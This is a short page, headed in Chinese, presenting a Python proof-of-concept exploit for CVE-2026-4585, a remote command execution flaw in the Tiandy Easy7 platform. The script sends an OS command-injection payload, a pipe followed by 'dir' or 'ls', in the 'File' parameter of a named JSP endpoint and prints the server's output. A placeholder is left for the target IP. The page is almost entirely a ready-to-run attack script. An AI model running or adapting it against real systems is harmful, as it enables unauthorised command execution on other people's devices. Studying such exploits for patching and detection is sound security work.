CVE-2026-4585: Tiandy Easy7平台远程命令执行漏洞

import requests def exploit(target_ip): # Target endpoint vulnerable to OS Command Injection url = f"http://{target_ip}/Easy7/apps/WebService/ImportSystemConfiguration.jsp" # Payload: Injecting a shell command to list directory contents # Using pipe '|' to bypass original command execution flow payload = "| dir c:\\ " # For Windows, or "| ls -la" for Linux # The vulnerable parameter is 'File' data = { "File": payload } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit(target)